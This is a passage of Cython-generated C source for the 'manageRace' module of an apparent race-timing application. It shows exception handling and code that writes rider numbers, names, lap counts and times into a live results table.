__pyx_tuple__27, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 216, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":217 * except Exception as e: * print("in manageRace.update") * print( e ) # <<<<<<<<<<<<<< * * Globals.MainWindow.R_RaceLive.setRowCount( self.maxrows ) */ __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 217, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_v_e); __Pyx_GIVEREF(__pyx_v_e); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_v_e); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_t_1, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 217, __pyx_L21_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } /* "Chrono/manageRace.py":215 * try: * self.doRace( tp, millis, type) * except Exception as e: # <<<<<<<<<<<<<< * print("in manageRace.update") * print( e ) */ /*finally:*/ { /*normal exit:*/{ __Pyx_DECREF(__pyx_v_e); __pyx_v_e = NULL; goto __pyx_L22; } /*exception exit:*/{ __Pyx_PyThreadState_declare __pyx_L21_error:; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; __pyx_t_24 = 0; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_22, &__pyx_t_23, &__pyx_t_24); if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_19, &__pyx_t_20, &__pyx_t_21) < 0)) __Pyx_ErrFetch(&__pyx_t_19, &__pyx_t_20, &__pyx_t_21); __Pyx_XGOTREF(__pyx_t_19); __Pyx_XGOTREF(__pyx_t_20); __Pyx_XGOTREF(__pyx_t_21); __Pyx_XGOTREF(__pyx_t_22); __Pyx_XGOTREF(__pyx_t_23); __Pyx_XGOTREF(__pyx_t_24); __pyx_t_10 = __pyx_lineno; __pyx_t_17 = __pyx_clineno; __pyx_t_18 = __pyx_filename; { __Pyx_DECREF(__pyx_v_e); __pyx_v_e = NULL; } __Pyx_PyThreadState_assign if (PY_MAJOR_VERSION >= 3) { __Pyx_XGIVEREF(__pyx_t_22); __Pyx_XGIVEREF(__pyx_t_23); __Pyx_XGIVEREF(__pyx_t_24); __Pyx_ExceptionReset(__pyx_t_22, __pyx_t_23, __pyx_t_24); } __Pyx_XGIVEREF(__pyx_t_19); __Pyx_XGIVEREF(__pyx_t_20); __Pyx_XGIVEREF(__pyx_t_21); __Pyx_ErrRestore(__pyx_t_19, __pyx_t_20, __pyx_t_21); __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; __pyx_t_24 = 0; __pyx_lineno = __pyx_t_10; __pyx_clineno = __pyx_t_17; __pyx_filename = __pyx_t_18; goto __pyx_L10_except_error; } __pyx_L22:; } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; goto __pyx_L9_exception_handled; } goto __pyx_L10_except_error; __pyx_L10_except_error:; /* "Chrono/manageRace.py":213 * millis = e.millis * type = e.type * try: # <<<<<<<<<<<<<< * self.doRace( tp, millis, type) * except Exception as e: */ __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_14); __Pyx_XGIVEREF(__pyx_t_15); __Pyx_XGIVEREF(__pyx_t_16); __Pyx_ExceptionReset(__pyx_t_14, __pyx_t_15, __pyx_t_16); goto __pyx_L1_error; __pyx_L9_exception_handled:; __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_14); __Pyx_XGIVEREF(__pyx_t_15); __Pyx_XGIVEREF(__pyx_t_16); __Pyx_ExceptionReset(__pyx_t_14, __pyx_t_15, __pyx_t_16); __pyx_L15_try_end:; } } /* "Chrono/manageRace.py":205 * * Globals.MainWindow.PB_TimeRace.setProperty("value", curtime ) * for task in receiver: # <<<<<<<<<<<<<< * r = receiver[task] * q = r['queue']['race'] */ } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Chrono/manageRace.py":219 * print( e ) * * Globals.MainWindow.R_RaceLive.setRowCount( self.maxrows ) # <<<<<<<<<<<<<< * l = self._duration*4000 * for tp in dictRace: */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 219, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_MainWindow); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 219, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 219, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setRowCount); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 219, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_maxrows); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 219, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_5) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 219, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_2}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 219, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_2}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 219, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 219, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_7, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 219, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Chrono/manageRace.py":220 * * Globals.MainWindow.R_RaceLive.setRowCount( self.maxrows ) * l = self._duration*4000 # <<<<<<<<<<<<<< * for tp in dictRace: * tt = dictRace[tp] */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_duration_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 220, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_9 = PyNumber_Multiply(__pyx_t_3, __pyx_int_4000); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 220, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_v_l = __pyx_t_9; __pyx_t_9 = 0; /* "Chrono/manageRace.py":221 * Globals.MainWindow.R_RaceLive.setRowCount( self.maxrows ) * l = self._duration*4000 * for tp in dictRace: # <<<<<<<<<<<<<< * tt = dictRace[tp] * if True: #if tt["updated"]: */ __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_dictRace); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 221, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); if (likely(PyList_CheckExact(__pyx_t_9)) || PyTuple_CheckExact(__pyx_t_9)) { __pyx_t_3 = __pyx_t_9; __Pyx_INCREF(__pyx_t_3); __pyx_t_11 = 0; __pyx_t_12 = NULL; } else { __pyx_t_11 = -1; __pyx_t_3 = PyObject_GetIter(__pyx_t_9); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 221, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_12 = Py_TYPE(__pyx_t_3)->tp_iternext; if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 221, __pyx_L1_error) } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; for (;;) { if (likely(!__pyx_t_12)) { if (likely(PyList_CheckExact(__pyx_t_3))) { if (__pyx_t_11 >= PyList_GET_SIZE(__pyx_t_3)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_9 = PyList_GET_ITEM(__pyx_t_3, __pyx_t_11); __Pyx_INCREF(__pyx_t_9); __pyx_t_11++; if (unlikely(0 < 0)) __PYX_ERR(0, 221, __pyx_L1_error) #else __pyx_t_9 = PySequence_ITEM(__pyx_t_3, __pyx_t_11); __pyx_t_11++; if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 221, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); #endif } else { if (__pyx_t_11 >= PyTuple_GET_SIZE(__pyx_t_3)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_9 = PyTuple_GET_ITEM(__pyx_t_3, __pyx_t_11); __Pyx_INCREF(__pyx_t_9); __pyx_t_11++; if (unlikely(0 < 0)) __PYX_ERR(0, 221, __pyx_L1_error) #else __pyx_t_9 = PySequence_ITEM(__pyx_t_3, __pyx_t_11); __pyx_t_11++; if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 221, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); #endif } } else { __pyx_t_9 = __pyx_t_12(__pyx_t_3); if (unlikely(!__pyx_t_9)) { PyObject* exc_type = PyErr_Occurred(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); else __PYX_ERR(0, 221, __pyx_L1_error) } break; } __Pyx_GOTREF(__pyx_t_9); } __Pyx_XDECREF_SET(__pyx_v_tp, __pyx_t_9); __pyx_t_9 = 0; /* "Chrono/manageRace.py":222 * l = self._duration*4000 * for tp in dictRace: * tt = dictRace[tp] # <<<<<<<<<<<<<< * if True: #if tt["updated"]: * row = tt["row"] */ __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_dictRace); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 222, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_7 = PyObject_GetItem(__pyx_t_9, __pyx_v_tp); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 222, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_XDECREF_SET(__pyx_v_tt, __pyx_t_7); __pyx_t_7 = 0; /* "Chrono/manageRace.py":224 * tt = dictRace[tp] * if True: #if tt["updated"]: * row = tt["row"] # <<<<<<<<<<<<<< * setLine( colors["White"], row, cols["short"][0], "%3.3d%-10.10x"%(tt["lapcount"],int(l - tt["remticks"]))) * setLine( colors["White"], row, cols["num"][0], "%-3d"%( tt["ridernum"] ) ) */ __pyx_t_7 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_row); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 224, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_XDECREF_SET(__pyx_v_row, __pyx_t_7); __pyx_t_7 = 0; /* "Chrono/manageRace.py":225 * if True: #if tt["updated"]: * row = tt["row"] * setLine( colors["White"], row, cols["short"][0], "%3.3d%-10.10x"%(tt["lapcount"],int(l - tt["remticks"]))) # <<<<<<<<<<<<<< * setLine( colors["White"], row, cols["num"][0], "%-3d"%( tt["ridernum"] ) ) * setLine( colors["White"], row, cols["name"][0], "%s"%( tt["ridername"] ) ) */ __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_colors); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = PyObject_GetItem(__pyx_t_7, __pyx_n_u_White); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_cols); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = PyObject_GetItem(__pyx_t_7, __pyx_n_u_short); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_GetItemInt(__pyx_t_2, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_lapcount); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_remticks); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_1 = PyNumber_Subtract(__pyx_v_l, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyNumber_Int(__pyx_t_1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = PyTuple_New(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_2); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_t_5); __pyx_t_2 = 0; __pyx_t_5 = 0; __pyx_t_5 = PyUnicode_Format(__pyx_kp_u_3_3d_10_10x, __pyx_t_1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = PyTuple_New(4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_9); __Pyx_INCREF(__pyx_v_row); __Pyx_GIVEREF(__pyx_v_row); PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_v_row); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_t_7); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_1, 3, __pyx_t_5); __pyx_t_9 = 0; __pyx_t_7 = 0; __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_v_setLine, __pyx_t_1, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; /* "Chrono/manageRace.py":226 * row = tt["row"] * setLine( colors["White"], row, cols["short"][0], "%3.3d%-10.10x"%(tt["lapcount"],int(l - tt["remticks"]))) * setLine( colors["White"], row, cols["num"][0], "%-3d"%( tt["ridernum"] ) ) # <<<<<<<<<<<<<< * setLine( colors["White"], row, cols["name"][0], "%s"%( tt["ridername"] ) ) * if tt["ended"]: */ __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_colors); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 226, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_1 = PyObject_GetItem(__pyx_t_5, __pyx_n_u_White); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 226, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_cols); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 226, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_7 = PyObject_GetItem(__pyx_t_5, __pyx_n_u_num); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 226, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_GetItemInt(__pyx_t_7, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 226, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_ridernum); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 226, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = PyUnicode_Format(__pyx_kp_u_3d, __pyx_t_7); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 226, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = PyTuple_New(4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 226, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_1); __Pyx_INCREF(__pyx_v_row); __Pyx_GIVEREF(__pyx_v_row); PyTuple_SET_ITEM(__pyx_t_7, 1, __pyx_v_row); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_7, 2, __pyx_t_5); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_7, 3, __pyx_t_9); __pyx_t_1 = 0; __pyx_t_5 = 0; __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_Call(__pyx_v_setLine, __pyx_t_7, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 226, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; /* "Chrono/manageRace.py":227 * setLine( colors["White"], row, cols["short"][0], "%3.3d%-10.10x"%(tt["lapcount"],int(l - tt["remticks"]))) * setLine( colors["White"], row, cols["num"][0], "%-3d"%( tt["ridernum"] ) ) * setLine( colors["White"], row, cols["name"][0], "%s"%( tt["ridername"] ) ) # <<<<<<<<<<<<<< * if tt["ended"]: * setLine( colors["White"], row, cols["laps"][0], "%3.3d"%tt["lapcount"], icons["finish flag"]) */ __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_colors); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 227, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_7 = PyObject_GetItem(__pyx_t_9, __pyx_n_u_White); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 227, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_cols); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 227, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_5 = PyObject_GetItem(__pyx_t_9, __pyx_n_u_name); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 227, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_GetItemInt(__pyx_t_5, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 227, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_ridername); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 227, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_1 = PyUnicode_Format(__pyx_kp_u_s, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 227, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = PyTuple_New(4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 227, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_7); __Pyx_INCREF(__pyx_v_row); __Pyx_GIVEREF(__pyx_v_row); PyTuple_SET_ITEM(__pyx_t_5, 1, __pyx_v_row); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_5, 2, __pyx_t_9); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_5, 3, __pyx_t_1); __pyx_t_7 = 0; __pyx_t_9 = 0; __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_v_setLine, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 227, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":228 * setLine( colors["White"], row, cols["num"][0], "%-3d"%( tt["ridernum"] ) ) * setLine( colors["White"], row, cols["name"][0], "%s"%( tt["ridername"] ) ) * if tt["ended"]: # <<<<<<<<<<<<<< * setLine( colors["White"], row, cols["laps"][0], "%3.3d"%tt["lapcount"], icons["finish flag"]) * else: */ __pyx_t_1 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_ended); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 228, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_13 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely(__pyx_t_13 < 0)) __PYX_ERR(0, 228, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_13) { /* "Chrono/manageRace.py":229 * setLine( colors["White"], row, cols["name"][0], "%s"%( tt["ridername"] ) ) * if tt["ended"]: * setLine( colors["White"], row, cols["laps"][0], "%3.3d"%tt["lapcount"], icons["finish flag"]) # <<<<<<<<<<<<<< * else: * setLine( colors["White"], row, cols["laps"][0], "%3.3d"%tt["lapcount"], None) */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_colors); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 229, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_5 = PyObject_GetItem(__pyx_t_1, __pyx_n_u_White); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 229, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_cols); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 229, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = PyObject_GetItem(__pyx_t_1, __pyx_n_u_laps); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 229, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetItemInt(__pyx_t_9, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 229, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_lapcount); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 229, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_7 = PyUnicode_Format(__pyx_kp_u_3_3d, __pyx_t_9); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 229, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_icons); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 229, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_2 = PyObject_GetItem(__pyx_t_9, __pyx_kp_u_finish_flag); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 229, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __pyx_pf_6Chrono_10manageRace_10manageRace_6update_setLine(__pyx_v_setLine, __pyx_t_5, __pyx_v_row, __pyx_t_1, __pyx_t_7, __pyx_t_2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 229, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; /* "Chrono/manageRace.py":228 * setLine( colors["White"], row, cols["num"][0], "%-3d"%( tt["ridernum"] ) ) * setLine( colors["White"], row, cols["name"][0], "%s"%( tt["ridername"] ) ) * if tt["ended"]: # <<<<<<<<<<<<<< * setLine( colors["White"], row, cols["laps"][0], "%3.3d"%tt["lapcount"], icons["finish flag"]) * else: */ goto __pyx_L29; } /* "Chrono/manageRace.py":231 * setLine( colors["White"], row, cols["laps"][0], "%3.3d"%tt["lapcount"], icons["finish flag"]) * else: * setLine( colors["White"], row, cols["laps"][0], "%3.3d"%tt["lapcount"], None) # <<<<<<<<<<<<<< * setLine( colors["White"], row, cols["time"][0], createTime(tt["remticks"])) * if tt["lapcount"] >= 0: */ /*else*/ { __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_colors); if 